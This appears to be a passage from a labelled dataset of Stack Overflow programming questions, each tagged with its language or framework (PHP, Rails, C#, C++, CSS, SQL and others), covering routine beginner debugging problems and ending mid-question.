cannot see php file request in network tab  i developed my own mvc framework but i ve a problem with the php file request. my framework shunk all request by .htaccess that have this content:   <pre><code>rewriteengine on  rewritebase /mvc/  rewritecond %{request_filename} !-d rewritecond %{request_filename} !-f rewritecond %{request_filename} !-l  rewriterule ^(.+)$ index.php url=$1 [qsa l] </code></pre>   so in my router i split the url like this:   <pre><code>$url = isset($_get[ url ])   $_get[ url ] : null; $url = rtrim($url   / ); $url = filter_var($url  filter_sanitize_url); $this-&gt;_url = explode( /   $url);  if (file_exists($this-&gt;_url))  {      require $this-&gt;_url;      new $this-&gt;_url[0]();      return true; //controller found } </code></pre>   and load the controller in this way  the problem s that in the network tab of chrome or any other browser i cannot see any request of the file but it s loaded correctly.    this is a problem for me  cause i cannot check if there is an error in the file  or if i want dump a variable i cannot see the content directly in the console of the browser.    any chance to fix this     <strong>example:</strong>    if i put this request url in the browser: <a href= http://localhost/mvc/user  rel= nofollow noreferrer >http://localhost/mvc/user</a>    that will load the <code>user.php</code> file controller  i get this in the network console:    <img src= https://i.stack.imgur.com/7gjax.png  alt= enter image description here >    now the controller is loaded  cause i can see the webpage (the controller user load the view in the index function)  but i cannot see it in the network tab.,php
nomethoderror in ruby on rails  hi all i am new in ruby on rails and have this problem    when i go to    <blockquote>    localhost/proyects  </blockquote>   this error is triggered   <pre><code>nomethoderror in proyects#index   showing /home/mariano/pepcode/starter_project/app/views/proyects/index.html.erb where       line #5 raised:  undefined method `model_name  for nilclass:class extracted source (around line #5):  2:   &lt;p&gt;projects&lt;/p&gt; 3: &lt;/header&gt; 4:  5: &lt;%= render @projects %&gt; 6:  7: &lt;br /&gt; this is  </code></pre>   this is the content of index.html.erb   <pre><code>&lt;header&gt;  &lt;p&gt;projects&lt;/p&gt; &lt;/header&gt; &lt;%= render @projects %&gt; &lt;br /&gt;  and this is the content of the partial  _project.html.erb  which the  index view  points   &lt;div class= project &gt;    &lt;h1&gt; &lt;%= project.title %&gt;&lt;/h1&gt;      &lt;/div&gt; </code></pre>   this is the code of proyect controller   <pre><code>class proyectscontroller &lt; applicationcontroller   def index    @proyects = proyect.all    respond_to do |format|      format.html # index.html.erb      format.xml  { render :xml =&gt; @proyects }    end   end  end </code></pre>,ruby-on-rails
casting non-numeric char to int   i came across this line of code today:    <code>int c = (int) c ;</code>    i was not aware you could cast a <code>char</code> to an <code>int</code>. so i tested it out  and found that a=97  b=98  c=99  d=100 etc etc...    why is  a  97  what do those numbers relate to,c#
activerecord::statementinvalid after laptop re-image  i have run my first scaffold command to see if all is well  after the book purchase agile web development with rails.   <pre><code>rails generate scaffold product name:string </code></pre>   upon loading webrick  i see the following error.   <blockquote>    activerecord::statementinvalid in productscontroller#index  </blockquote>   debugging steps carried out on my own:   <ol> <li>db migration looks well formed (although who am i to review )</li> <li>loaded sqlite3 shell and cannot find the products table</li> <li>gem file contains a gem  sqlite3  line</li> </ol>   really new to rails and have tried to solve this problem myself and struggling to connect the dots.    any advice or support would be appreciated.,ruby-on-rails
account.cpp:4:38: error: no ‘void account::setbalance(double)’ member function declared in class ‘account’ void account::setbalance(double money) <pre><code>account.cpp:4:38: error: no ‘void account::setbalance(double)’ member function declared in class ‘account’  void account::setbalance(double money) </code></pre>   i cannot figure out why i am getting this error. from what i can tell my member functions are clearly defined inside the account.h class.  account.h   <pre><code>  1 #ifndef _account_h_   2 #define _account_h_   3 #include &lt;string&gt;   4   5 class account   6 {   7   private:   8     double balance;   9     std::string username;  10    public:  11     void setbalance(double);  12     void setusername(char[100]);  13 };  14  15  16 #endif </code></pre>   here is my account.cpp   <pre><code>  1 #include  account.h    2 #include &lt;string&gt;   3   4 void account::setbalance(double money)   5 {   6   balance = balance + money;   7 }   8   9 void account::setusername(char username[100])  10 {  11   username = username;  12 } </code></pre>,c++
doesn t get changed value from hidden field on asp  i have on asp web forms element:    <pre><code>&lt;asp:hiddenfield id= arraycoordinatehiddenvalue  runat= server  /&gt;  </code></pre>   in firebug i search next element:   <pre><code>&lt;input id= contentplaceholder_arraycoordinatehiddenvalue  type= hidden  value= {}  name= ctl00$contentplaceholder$arraycoordinatehiddenvalue &gt; </code></pre>   in firebug i try edit value  and after press button  which get value from this hidden value. but i see value:  {}  not  that i edit on firebug. so it is possible fix  or which element can i use on this situation      p.s. when i change value on firebug  i try simulate as js change value. on tags html (firebug) i serch id and change value on field.,asp.net
how to use normal variable inside static method <pre><code>class exam {   public $foo = 1;   public static function increasefoo(){     $this-&gt;foo++;     echo $this-&gt;foo;   } }  exam::increasefoo(); </code></pre>   this code generate an error   <pre><code>e_error : type 1 -- using $this when not in object context -- at line 5 </code></pre>   is that possible to use global variable into static mathod,php
how to add anchor tag conditionally in itemtemplate of repeater  i have showing the image slider on page. to display i have used the repeater. now i have not used anchor tag to image for every image. so anchor tag is conditionally. my code is    <pre><code> &lt;itemtemplate&gt;                    &lt;a  id= sliderlink &gt;              &lt;img id= sliderimage  runat= server  alt=   /&gt;          &lt;/a&gt;  &lt;/itemtemplate&gt; </code></pre>   now i always shows the image but every image not cover with a tag. how i achieved this.,asp.net
how do i read a .txt file with an undefined number of values using an array (c++)   i am entirely new to programming so i m sorry if i don t explain this well. for my c++ assignment i had to write an object-oriented program that reads the names from a text file (the text file is just a list of first names) and prints them to the console in alphabetical order using an array.  originally  the description of the assignment said that the file had 20 names  so i based my code around that. the program works  but now it turns out the assignment description was inaccurate and we shouldn t assume that the text file has a specific number of names. how do i convert my code from specifically reading 20 names to instead reading an undefined number of names  while still using an array   i don t fully understand the concepts that i m implementing so it s difficult for me to know how to change my code while still following the requirements of the assignment. here is my code:    <pre><code>#include &lt;iostream&gt; #include &lt;algorithm&gt; #include &lt;fstream&gt; #include &lt;string&gt;  using namespace std;   class names { private:     ifstream instudents;     string studentnames[20];     string name;      int j;   public:     names();     ~names();     void openfile(string);     void testfile();     void readfile();     void sortnames();     void closefile();     void display(); };  names::names() {  } names::~names() {  } void names::openfile(string d)  {     instudents.open(d);   }  void names::testfile() {     if (!instudents)     {         cout &lt;&lt;  file did not open  &lt;&lt; endl;         exit(10);     } }  void names::readfile() {     cout &lt;&lt;  reading the input file...  &lt;&lt; endl;      int j = 0;      while (instudents &gt;&gt; name &amp;&amp; j &lt; 20)     {         studentnames[j++] = name;     } }  void names::sortnames()  {      sort(studentnames  studentnames + 20); }  void names::closefile() {     instudents.close(); }  void names::display()  {      cout &lt;&lt; endl &lt;&lt;  the alphabetical list:   &lt;&lt; endl &lt;&lt; endl;     for (int i = 0; i&lt;20; i++)         cout &lt;&lt; studentnames[i] &lt;&lt;     &lt;&lt; endl;     cout &lt;&lt; endl &lt;&lt; endl; }  int main()  {     names r;     r.openfile( students.txt );     r.readfile();     r.testfile();     r.sortnames();     r.display();     r.closefile();      return 0; } </code></pre>,c++
http method set in the api call changes when seen in the chrome dev tools  i am trying to call an api using   <pre><code>createauthorizationheader(headers: headers) {      headers.append( authorization       bearer   +   json.stringify(json.parse(localstorage.getitem( access_token )).access_token));}  getalldata() {  let headers = new headers();  this.createauthorizationheader(headers);  return this.http.get( url    { headers: headers }  ).map((response) =&gt; {  response.json(); }); </code></pre>   here i am sending the request using the get http method  but in the chrome dev tools i see the request method is set to options  which is not allowed in the api.    but if i comment out the headers in the this.http.get then  in the chrome dev tools i see the correct http request method. any suggestions why this might be happening,angularjs
typeerror:  <  not supported between instances - objects  i am trying to sort by name but it is typing an error: typeerror:  &lt;  not supported between instances of  person  and  person . could you tell me where the problem is  here is my code.    <pre><code>class person:     def __init__(self  name  year_of_birth  degree):         self.name = name         self.year_of_birth = year_of_birth         self.degree = degree         self.mentor = none         self.mentees = []  def create_mentorship(mentor  mentee):     mentee.mentor = mentor     mentor.mentees.append(mentee)  def get_founder(people):     for person in people:         if people[person].mentor == none:             return people[person]  def print_mentorship_tree(people):     person = get_founder(people)     print_mentorship_subtree(person)   def print_mentorship_subtree(person  level=0):     a = []     print((    * level) + person.name +  (  + str(person.year_of_birth) +  ) )     for mentee in person.mentees:         print_mentorship_subtree(mentee  level + 1)         a = sorted(person.mentees)      &gt;&gt;&gt; people = {}     &gt;&gt;&gt; people[ martin ] = person( martin   1991   phd )     &gt;&gt;&gt; people[ lukas ] = person( lukas   1991   phd )     &gt;&gt;&gt; people[ tom ] = person( tom   1993   mgr )     &gt;&gt;&gt; people[ honza ] = person( honza   1995   bc )     &gt;&gt;&gt; create_mentorship(people[ martin ]  people[ tom ])     &gt;&gt;&gt; create_mentorship(people[ tom ]  people[ honza ])     &gt;&gt;&gt; create_mentorship(people[ martin ]  people[ lukas ])     &gt;&gt;&gt; print_mentorship_tree(people) </code></pre>   error:   <pre><code>traceback (most recent call last):   file  so.py   line 38  in &lt;module&gt;     print_mentorship_tree(people)   file  so.py   line 20  in print_mentorship_tree     print_mentorship_subtree(person)   file  so.py   line 28  in print_mentorship_subtree     a = sorted(person.mentees) typeerror: unorderable types: person() &lt; person() </code></pre>,python
iphone 2d game programming  i would like to start a project about creating a 2d game for iphone. i have already created some iphone apps but none concerning game. the idea is simple : the user must drive a ball into a simple route composed of some obstacles before he gets cached by a wall that always go done. (i don t know if it make sense to you but the game environment will be simple).    i posted here because i have some questions :   <ul> <li>what should i use   opengl es or only uiview objects  </li> <li>is there some framework that could help me  </li> </ul>   all ideas  advices  suggestions  links for good tutorials are welcome !    thanks in advance for your help.    ps: forgive my english  it s not my first language.,iphone
how can i group a sequence by two values and keep the order of the sequence   let s say i have a list of points.   <pre><code>{(0 0)  (0 0)  (0 1)  (0 0)  (0 0)  (0 0)  (2 1)  (4 1)  (0 1)  (0 1)} </code></pre>   how can i group this points  so that all points with the same x- and y-value are in one group  till the next element has other values     the final sequence should look like this (a group of points is enclosed with brackets):   <pre><code>{(0 0)  (0 0)}  {(0 1)}  {(0 0)  (0 0)  (0 0)}  {(2 1)}  {(4 1)}  {(0 1)  (0 1)} </code></pre>   note that the order has to be exactly the same.,c#
updating the model and then getting a document element  i m trying to do the following:   <pre><code>vm.request.statusdescription =  in progress ;  var contents = $document[0].getelementbyid(elementid).innerhtml; </code></pre>   the contents i get from the dom  within the requested element  contain a binding for <code>{{ vm.request.statusdescription }}</code>  but when i use the html contents in a new window (intended for printing a subset of the screen)  the status description hasn t updated.  it still reads  new .    is there any simple way to deal with this   i ve looked at using <code>$scope.$apply();</code> with no success.,angularjs
"5 images not in line  i have a div which is 900% wide  i m trying to display 5 images in a line but the 5th one always wraps around and i can t work out why     i m well under 900px with my 5 images.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>ul{
   margin:0px;
   padding:0px;
 }
 li{
   margin:0px;
   padding:0px;
   list-style:none;
 }
 
 .photo-preview{
   width:178px;
   margin:0px;
   display:inline-block;
   text-align:center;
 }
 
 .bottom-row{
   width:900px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= bottom-row &gt;
   &lt;ul&gt;
         &lt;li class= photo-preview &gt;&lt;img src= photo/2.jpg &gt;&lt;/li&gt;   
         &lt;li class= photo-preview &gt;&lt;img src= photo/2.jpg &gt;&lt;/li&gt;
         &lt;li class= photo-preview &gt;&lt;img src= photo/2.jpg &gt;&lt;/li&gt;   
         &lt;li class= photo-preview &gt;&lt;img src= photo/2.jpg &gt;&lt;/li&gt;   
         &lt;li class= photo-preview &gt;&lt;img src= photo/2.jpg &gt;&lt;/li&gt;                             
     &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
select count statement from 4 different sql tables  i have 4 tables with the following structure:   <pre><code>**filtersmain** filtermain_id filtermain_name_gr filtermain_name_en  **filterssub** filtersub_id filtermain_id filtersub_name_gr filtersub_name_en  **cm** cm_id product_id cat_main_id   **filtra** f_id product_id filtermain_id filtersub_id </code></pre>   the only known things i have at this time are the followings:    <code>filtermain_id</code> of the <code>filtersmain</code> table (which is 555)    <code>cat_main_id</code> of the <code>cm</code> table (which is 222)    i want to count (with the <code>select count</code> method) the total number of records in the <code>filtra</code> table but with followings conditions:    having the already known <code>filtermain_id</code> of the <code>filtersmain</code> table (which is 555) and the already known <code>cat_main_id</code> of the <code>cm</code> table (which is 222).    i have already tried the following select count statement  but i am getting completely wrong result.   <pre><code>select count(*) as total_records  from  filtersmain  filterssub  filtra  cm  where  filtersmain.filtermain_id = filterssub.filtermain_id filtra.filtermain_id = filtersmain.filtermain_id cm.cat_main_id = 222 cm.product_id = filtra.product_id </code></pre>   i am completely confused at this moment so any kind any help will be very appreciated,sql
pushing android app updates on getjar.com  i plan to publish my android app on getjar.com . however  i am unable to see how the user would be notified of any updates. does getjar support app updates (i.e. would the user be notified of app updates when new versions are uploaded  to getjar.com  ),android
form generator keeps generating no form   i m trying to generate a form  and instead of generating a form  which allows different inputs to be taken  what happens is that my initial form tag gets put up above the elements i want in the form  and my closing form tag appears right after it. why would this happen  is there some reason,html
text transform in datatable  in css  we can use text-transform: capitalize; to make every first letter capital.  i have a data table and i want to make every first letter in each column capitalize. how can i perform text-transformation : capitalize to sql datatables  (am using c# as code behind) here is my code..   <pre><code>public void myfunction(dataset ds) {     datatable mytable = ds.tables[0];     // and now have to transform each first letter capital for      // all the columns in this table.. } </code></pre>   thanks in advance!,c#
css: how to make background image 100% height  and keep aspect ratio  i am running into problems at smaller device widths where a div becomes more square  and less landscape. the div s background image is set to <code>background-size: cover;</code> so it only occupies about the top 60% of the height of the div and 100% of the width.    how do i set a background image to cover 100% of the div s height  but maintain its aspect ratio  so that some of the background image will be cut off.    how do i align the background image so that its right side is at the right side of the div (and so the left of the background image will be cut off by the left side of the div).,css
disable asp.net balloon popup  is there a way to disable that annoying balloon notification that pops up when you start an asp.net application  here s a picture of what i m talking about:    <a href= http://i41.tinypic.com/2prd3b7.png  rel= noreferrer >annoying balloon notification http://i41.tinypic.com/2prd3b7.png</a>    <a href= http://i41.tinypic.com/2prd3b7.png  rel= noreferrer >http://i41.tinypic.com/2prd3b7.png</a>,asp.net
nullpointerexception with set<string> size() == 0  i initialized <code>set&lt;string&gt; j;</code>. how come when i do this   <pre><code>  for loop {       if (case1) {         j.add(val);         if (j.size() &gt; 1) {           return false;         } else {           continue;         }       }    } return true; </code></pre>   i get a <code>nullpointerexception</code>  shouldn t the loop continue because if nothing is added set is size 0,java
try catch statements in c  i was thinking today about the try/catch blocks existent in another languages. googled for a while this but with no result. from what i know  there is not such a thing as try/catch in c. however  is there a way to  simulate  them <br> sure  there is assert and other tricks but nothing like try/catch  that also catch the raised exception. thank you,c
is it reasonable to let __init__ member must take self parameter   i find when <code>__init__</code> method lacks <code>self</code> parameter  only if there is no instantiation of this class  the compiler won t complain:     <pre><code>$ cat test.py #!/usr/bin/python class a():     def __init__():         print( a() ) $ ./test.py </code></pre>   but if there is a instantiation  the running time error will occur:     <pre><code>$ cat test.py #!/usr/bin/python class a():     def __init__():         print( a() )  a() $ ./test.py traceback (most recent call last):   file  ./test.py   line 6  in &lt;module&gt;     a() typeerror: __init__() takes 0 positional arguments but 1 was given </code></pre>   per my understanding  <code>__init__()</code> seems no use because it can t make any instance. so why doesn t the python compiler enforce limitation such as when no <code>self</code> parameter in <code>__init__</code> function  it will show error message  is it reasonable  or i miss something.,python
problem to adjust outermost-margin of the page  there appears to be about a 4px margin at the outer-edge of the outer-div and the body.  between the yellow div and the blue div. this is between the top and left side of the outermost div and the body div.    the outer-div (global-wrap) has its width=100%    here is the css:   <pre><code>body {     /*background: url( /images/damask-back.jpg ) repeat scroll 0 0 #423624;*/     background: url( /images/blueback1.jpg ) repeat-x scroll 0 0 transparent;     font-family: arial helvetica sans-serif;     font-size: 62.5%;     /*height: 50%;*/ } #global-wrap {     width: 100%;     /*height: 925px;*/     /*position: relative;*/     /*margin: 10px auto;*/ } #top-wrap {     height: 112px;         background-color: yellow;  } #head-logo {     /*background: url( /images/logo2.png ) no-repeat scroll 0 0 transparent;*/     background-color: green;     height: 112px;     width: 176px;     margin: 0px 0 0 45px;     position: absolute;     z-index: 100; } </code></pre>   here is the html:   <pre><code>&lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt; &lt;title&gt;&lt;/title&gt; &lt;link href= ~/styles/stylesheet1.css  rel= stylesheet  type= text/css  /&gt; &lt;/head&gt; &lt;body&gt; &lt;form id= form1  runat= server &gt; &lt;div id= global-wrap &gt;     &lt;div id= top-wrap &gt;         &lt;div id= head-logo &gt;&lt;a href= / &gt;&lt;/a&gt;&lt;/div&gt;               &lt;/div&gt;     &lt;div id= global-inner  &gt;       &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
passing query results through li results  i have a query which creates a list of image-links  i want to pass to pass a variable through the url of these image links. however  because there are multiple results  when i try to pass it  i get the query multiplied by however many results there are.    for example if $filter =  sub 1  sub 2  and that returns three images  then passed_filter =  sub1  sub2  sub1  sub2  sub1  sub2     so what i m trying to make it do is passed_filter =  sub1  sub2 .    $filter is passed from a multiselect dropdown. and passed_filter  is the results from $filter getting sent back to the results page.    any ideas on how i could change the code below to do what i want     the php page:   <pre><code>&lt; php echo  &lt;h2&gt;currently displaying: custom selection&lt;/h2&gt; ;      include ( connect.php );      $filter = $_get[ filter ];     $filterin = $filter;          $result = mysql_query( select * from edt_images                                 where cat1 in ($filterin)                                 or cat2 in ($filterin)                                 or cat3 in ($filterin)                                 or cat4 in ($filterin)                                 or cat5 in ($filterin)                                 or cat6 in ($filterin)                                 order by vote_item_id )                                      or die(mysql_error());            echo  &lt;div id= results_container &gt; ;         echo  &lt;ul id= items &gt; ;          while ($row = mysql_fetch_array($result)) {                  echo  &lt;li&gt;&lt;a href= subpage.php passed_filter= .$filter. &amp;id= .$row[ id ].   border= 0 &gt;                          &lt;img src= files/300x200/thumb2_ .$row[ item_name ]. . .$row[ file_extension ].   border= 0  class= filtered_images /&gt;                          &lt;/a&gt;                             &lt;br /&gt;                                 &lt;strong&gt;                                      .$row[ file_tag_line ].                                   &lt;/strong&gt;                       &lt;/li&gt; ;          }          echo  &lt;/ul&gt; ;         echo  &lt;/div&gt; ;  &gt; </code></pre>   thanks in advance. please let me know if there is anything else i need to post.,php
using     in variable name for objective-c development  i wanted to create a variable called <code>emailvalid </code> in xcode but the compiler is giving me the error <code>expected  ;  at end of declaration</code>. it seems like it is expecting the ternary operator. can it be done or does anyone know a good alternative     thanks,objective-c
increasing .net knowledge  i would like to see if anyone can offer any advise on furthering my knowledge in the .net environment...      here a little background.  i went to a university and got my bs in computer science (mostly worked in c  java  and c++).  took a job right out of college for a small business doing internal development and a few commercial projects as a one man show.  i do pretty much all my development in the .net environment and most everything was self-taught.  it is now 3+ years later.    i feel that i m not using proper procedures (configuring  creating  maintaining  etc my projects in vs)  using the technologies to their fullest potential  improper techniques  or just using some things wrong.  i happy with the products i release and proud of the work i do  sometimes i just feel like i m doing things wrong.    can anyone make some suggestions (non-virtual environment) to becoming a better developer   good .net communities in tx (specifically san antonio)   or a book you consider to be a  bible  when it comes to this stuff --being that i already own quite a few.    thanks.,.net
getting phassetsource ios 8  in the photoframework for ios 9  they have a handy struct for the source type.     is there anyway to identify an assets source type on ios 8      <pre><code>typedef ns_options(nsuinteger  phassetsourcetype) {  phassetsourcetypenone            = 0   phassetsourcetypeuserlibrary     = (1ul &lt;&lt; 0)   phassetsourcetypecloudshared     = (1ul &lt;&lt; 1)   phassetsourcetypeitunessynced    = (1ul &lt;&lt; 2)  } ns_available_ios(9_0); </code></pre>,ios
not redirecting to home page (index.php)  is there something wrong about my code  it works but its not redirecting to my index.php it always ended up in the login.php where the form is located.   <pre><code>    &lt; php     include  core/ini.php ;      if (empty($_post) === false) {         $username = $_post [ username ];         $password = $_post [ password ];          if (empty ($username) === true || empty ($password) === true ) {             $errors[] =  you need to enter a username and password! ;          } else if (user_exists($username) === false) {             $errors[] =  we can\ t find that username. have you registered  ;         } else if (user_active($username) === false) {             $errors[] =  you haven\ t activated your account!  ;         } else {             $login = login($username  $password) ;             if ($login === false) {                 $errors[] =  that username/password combination is incorrect  ;             } else {                 $_session[ user_id ] = $login;                 header( location :index.php );                 exit();             }         }         print_r($errors);     }      &gt;  thanks!  edit *  this is my login.php  &lt; php include  core/ini.php ;  if (empty($_post) === false) {     $username = $_post [ username ];     $password = $_post [ password ];      if (empty ($username) === true || empty ($password) === true ) {         $errors[] =  you need to enter a username and password! ;      } else if (user_exists($username) === false) {         $errors[] =  we can\ t find that username. have you registered  ;     } else if (user_active($username) === false) {         $errors[] =  you haven\ t activated your account!  ;     } else {         $login = login($username  $password) ;         if ($login === false) {             $errors[] =  that username/password combination is incorrect  ;         } else {             $_session[ user_id ] = $login;             header( location :index.php );             exit();         }     }     print_r($errors); }  &gt; </code></pre>   this is where the process go. i don t know where should i put my start session but i don t know why it works without having an error.,php
ruby mysql2 gem installation issues  hi  i have to install mysql2 gem for my ruby application. but when i try to install mysql2 gem using  gem install mysql2  it shows an error  enclosing class/module  mmysql2  for class client not known . i have already installed mysql @ /usr/bin location. i have run the  gem install mysql2  command from the path /usr/bin  but it shows the same issue.because of this issues i cannot create my model for ruby on rails project using the command  rails g model contact  it show an error of gem mysql2 is not installed. i have spend long time for googling for tracking this issues  unfortunately no forum have the correct answer. please help me,ruby-on-rails
how to handle when my jsonarray value is null in android  how to handle these null in json array values   <pre><code>{      code :  0        message :  success        district : null       division : null       circle : null       policestation : null       vehicle : [         {              vehicleid :  81                vehicleno :  srikakulam ii town - pv1 [ap18p1470]          }          {              vehicleid :  82                vehicleno :  srikakulam ii town - bc-i [ap18p2325]          }          {              vehicleid :  83                vehicleno :  srikakulam ii town - bc-ii [ap18p2326]          }          {              vehicleid :  89                vehicleno :  srikakulam ii town - pv2 [ap18p3244]          }     ] } </code></pre>,android
why i am getting null reference exceptions if the list has a length and no null values in it   i have this piece of code  nothing fancy:    <pre><code>modulo1.foreach(t =&gt; fechasmaterias1.add(t.fecha.tostring( dddd d   culture))); modulo2.foreach(t =&gt; fechasmaterias2.add(t.fecha.tostring( dddd d   culture))); modulo3.foreach(t =&gt; fechasmaterias3.add(t.fecha.tostring( dddd d   culture))); modulo1.foreach(t =&gt; horariosmaterias1.add(t.horarioinicio.tostring( hh\\:mm ) +   a  + t.horariofin.tostring( hh\\:mm ))); modulo2.foreach(t =&gt; horariosmaterias2.add(t.horarioinicio.tostring( hh\\:mm ) +   a  + t.horariofin.tostring( hh\\:mm ))); modulo3.foreach(t =&gt; horariosmaterias3.add(t.horarioinicio.tostring( hh\\:mm ) +   a  + t.horariofin.tostring( hh\\:mm )));  //modulo1 if (modulo1.count &gt; 0) {     string dia = string.empty;     foreach (list&lt;datetime&gt; item in diasmaterias1)     {         for (int i = 0; i &lt; item.count; i++)         {             if (i == 0)                 dia +=  horario del   + item.elementat(i).tostring( d \\de mmmm   culture) +   al  ;             else                 dia += item.elementat(i).tostring( d \\de mmmm   culture);          }         dias1.add(dia);     }     modulo1.foreach(t =&gt; view_result1.add(new horariosmodulosviewmodel     {         nombremateria = t.nombre          modulonum =  módulo   + numerosmodulos.where(x =&gt; x.equals(1)).firstordefault().tostring()          nombremodulo = modulosnombre[0]          grupo = t.grupo.tostring()          idmateriascursos = t.idmateriascursos      }));      for (int i = 0; i &lt; dias1.count; i++)     {         view_result1.elementat(i).dias = dias1.elementat(i);     }     for (int i = 0; i &lt; fechasmaterias1.count; i++)     {         view_result1.elementat(i).diasmateria.add(fechasmaterias1.elementat(i));     }     for (int i = 0; i &lt; horariosmaterias1.count; i++)     {         view_result1.elementat(i).horarios.add(horariosmaterias1.elementat(i));     } </code></pre>   and previously i have initialized the lists like so: <code>list&lt;string&gt; fechasmaterias1 = new list&lt;string&gt;();</code> the same for <code>horariosmaterias1</code> and 2 and so on  however  i keep getting a null reference exception in the loops on fechasmaterias1 and horariosmaterias1. the strange thing is when i debug they both have a length of 20 (which i expect to  and none of them have null values). i m completely lost  where may the source of this error come from. <code>view_result1</code> is a list of a standard poco. by the way  i make sure <code>modulo1</code> has a length and it s only supposed to have that length of 20 elements by now  so basically i m just building lists from that main list  (modulo1)  and they hve the same length  so why is the loop crashing,c#
to search the data from database  i want to search the data from database from table. throw one input box i give nput (like mobile  name  id  anything i want ) and search and give out put,sql
how to add the value in column of datagrid view   i have a data grid view and a text box.i need to add the values of  columns i.e every time the value is inserted in the particular column in every row.all the value of that column is added and the result is shown in the text box.,asp.net
undefined value error in php (a beginner s guide) example script  hoping someone can help me identify how to to initialize this variable ($value) from this example script i have copied from php a beginner s guide book by vikram vaswani.    i have turned on the display_erors value in php.ini and it is returning this error in the browser.    notice: undefined variable: cities in c:\bitnami\wordpress-3.6-0\apache2\htdocs\associative-array.php on line 23    warning: invalid argument supplied for foreach() in c:\bitnami\wordpress-3.6-0\apache2\htdocs\associative-array.php on line 23    here s is my code as copied from page 94 of this book   <pre><code>&lt; php  // define array  $citites = array(   united kingdom  =&gt;  london     united states  =&gt;  washington dc     france  =&gt;  paris     india  =&gt;  delhi    );  // iterate over the associative array // and print each value // this example as supplied in the book // returns uninitialized error for either $key or $value on line 20   foreach ($cities as $key =&gt; $value) {   echo  $value is in $key. \r\n ;    }   &gt;  </code></pre>   also in the same chapter this other example as copied  for  array iterator  just hangs indefinitely in the browser. up till this all the examples from the book seemed to be working perfectly.    this is the code as copied from the book for the array iterator example. anyone know why this hangs indefinitely and doers not display output to the browser. thanks very much for the help.   <pre><code>&lt; php  // define associative array (hash)  $cities = array(   united states  =&gt;  washington     united kingdom  =&gt;  london     france  =&gt;  paris     spain  =&gt;  madrid     italy  =&gt;  rome   );  // create an array itterator object  $iterator = new arrayiterator($cities);  // rewind to beginning of array  $iterator-&gt;rewind();  // iterate over the array // print each value  while ($iterator-&gt;valid()) {      print $iterator-&gt;current() .   is in   . $iterator-&gt;key() .  . \r\n ;  $iterator-&gt;next;   }   &gt;  </code></pre>,php
"can t get value from dynamically created control in dynamically created foter row in grid view  i dynamically created footer row in row_created event and add dynamically created controls on button click which also dynamically created in footer i want to save data in linq table but dosen t works  here is my code i really need help    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>   protected void gridview1_rowcreated(object sender  gridviewroweventargs e)
         {
             if (e.row.rowtype == datacontrolrowtype.footer)
             {
                 gridviewrow foter = new gridviewrow(0  0  datacontrolrowtype.footer  datacontrolrowstate.insert);
                 gridviewrow foter1 = new gridviewrow(0  0  datacontrolrowtype.footer  datacontrolrowstate.insert);
                 gridviewrow foter2 = new gridviewrow(0  0  datacontrolrowtype.footer  datacontrolrowstate.insert);
                 gridviewrow foter3 = new gridviewrow(0  0  datacontrolrowtype.footer  datacontrolrowstate.insert);
 
                 tablecell span = new tablecell();
                 span.attributes.add( rowspan    3 );
                 span.attributes.add( width    180px );
                 fileupload f = new fileupload();
                 f.id =  flupimage ;
                 f.attributes.add( onchange    showpimagepreview(this); );
                 image img = new image();
                 img.id =  imgprv ;
                 img.clientidmode = system.web.ui.clientidmode.static;
                 img.attributes.add( height    60px );
                 img.attributes.add( width    60px );
                 span.controls.add(img);
                 span.controls.add(new literalcontrol( &lt;br /&gt; ));
                 span.controls.add(f);
                 span.horizontalalign = horizontalalign.left;
 
                 tablecell celf = new tablecell();
                 label l1 = new label();
                 l1.text =  id    ;
                 textbox t1 = new textbox();
                 t1.id =  id ;
                 celf.controls.add(l1);
                 celf.controls.add(t1);
                 celf.columnspan = 4;
                 celf.horizontalalign = horizontalalign.right;
 
                 tablecell celf2 = new tablecell();
                 label l2 = new label();
                 l2.text =  naziv ;
                 textbox t2 = new textbox();
                 t2.id =  naziv ;
                 celf2.controls.add(l2);
                 celf2.controls.add(t2);
                 celf2.columnspan = 3;
                 celf2.horizontalalign = horizontalalign.right;
 
                 tablecell celf3 = new tablecell();
                 label l3 = new label();
                 l3.text =  opis ;
                 textbox t3 = new textbox();
                 t3.id =  opis ;
                 celf3.controls.add(l3);
                 celf3.controls.add(t3);
                 celf3.columnspan = 4;
                 celf3.horizontalalign = horizontalalign.right;
 
                 tablecell celf4 = new tablecell();
                 label l4 = new label();
                 l4.text =  cena ;
                 textbox t4 = new textbox();
                 t4.id =  cena ;
                 celf4.controls.add(l4);
                 celf4.controls.add(t4);
                 celf4.columnspan = 3;
                 celf4.horizontalalign = horizontalalign.right;
 
                 tablecell celf5 = new tablecell();
                 label l6 = new label();
                 l6.text =  kategorija ;
                 textbox t6 = new textbox();
                 t6.id =  kategorija ;
                 celf5.controls.add(l6);
                 celf5.controls.add(t6);
                 celf5.columnspan = 7;
                 celf5.horizontalalign = horizontalalign.right;
 
                 tablecell celf6 = new tablecell();
                 button button1 = new button();
                 button1.text =  ubaci nov ;
                 celf6.controls.add(button1);
                 button1.click += new system.eventhandler(button1_click);
                 celf6.columnspan = 7;
                 celf6.horizontalalign = horizontalalign.center;
 
                 foter.cells.add(span);
                 foter.cells.add(celf);
                 foter.cells.add(celf2);
                 foter1.cells.add(celf3);
                 foter1.cells.add(celf4);
                 foter2.cells.add(celf5);
                 foter3.cells.add(celf6);
                 gridview1.controls[0].controls.add(foter);
                 gridview1.controls[0].controls.add(foter1);
                 gridview1.controls[0].controls.add(foter2);
                 gridview1.controls[0].controls.add(foter3);
             }
         }</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>  protected void button1_click(object sender  eventargs e)
         {
            dataclasses1datacontext data = new dataclasses1datacontext();
   proizvodi video = new proizvodi();
   fileupload file = (gridview1.footerrow.findcontrol( flupimage ) as fileupload);
                 byte[] filebyte = file.filebytes;
                 binary bin = new binary(filebyte);
                 video.slika = bin;
